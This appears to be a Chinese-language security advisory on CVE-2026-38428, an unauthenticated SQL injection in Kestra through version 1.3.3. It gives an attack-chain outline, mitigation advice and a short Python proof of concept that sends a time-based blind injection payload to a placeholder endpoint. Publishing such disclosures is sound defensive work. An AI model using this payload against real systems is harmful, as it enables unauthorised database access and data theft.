IPBUF安全漏洞报告
English
CVE-2026-38428 CVSS 9.8 严重

CVE-2026-38428: Kestra SQL注入漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-38428
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kestra

相关标签

SQL注入KestraCVE-2026-38428CVSS:9.8无需认证远程代码执行

漏洞概述

Kestra v1.3.3及之前版本存在SQL注入漏洞。由于系统未对GET参数中的用户输入进行适当的清理或参数化处理,直接将其拼接到SQL查询中,导致攻击者可注入任意SQL语句,进而控制数据库。

技术细节

该漏洞的根本原因在于缺乏输入验证和安全的数据库查询构建方式。在受影响的Kestra版本中,应用程序直接从HTTP GET请求中获取参数值,并将其动态拼接到SQL命令字符串中,这种不安全的编码方式使得攻击者能够通过构造特殊的SQL语法片段来修改原始查询逻辑。由于无需用户交互和认证,远程攻击者可利用此漏洞执行任意SQL语句。利用该漏洞可能导致敏感信息泄露、数据篡改、删除,甚至在特定条件下获取服务器权限,对业务的机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,识别出运行Kestra v1.3.3或更早版本的目标服务器。
STEP 2
漏洞探测
攻击者向目标URL发送包含特定SQL注入测试载荷(如单引号、逻辑判断)的GET请求,根据服务器响应差异确认漏洞存在。
STEP 3
构造攻击
确认漏洞后,攻击者构造恶意的SQL注入Payload(如UNION SELECT查询、盲注语句),通过GET参数发送。
STEP 4
执行攻击
服务器后端数据库执行攻击者注入的SQL语句,导致敏感数据泄露、数据被篡改或服务器被控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-host:8080/api/v1/vulnerable-endpoint" # Malicious payload to test SQL injection (Time-based blind) # Checks if the database pauses execution, confirming injection payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" # Send GET request with the malicious parameter params = { "id": payload } try: print(f"[*] Sending payload to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected (Time-based).") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

Kestra <= 1.3.3

防御指南

临时缓解措施
在未完成升级修复前,建议通过WAF(Web应用防火墙)部署针对SQL注入的防护规则,拦截包含恶意SQL语法(如单引号、UNION、SELECT等关键字组合)的GET请求;同时严格限制对Kestra服务端口的网络访问,仅允许可信IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表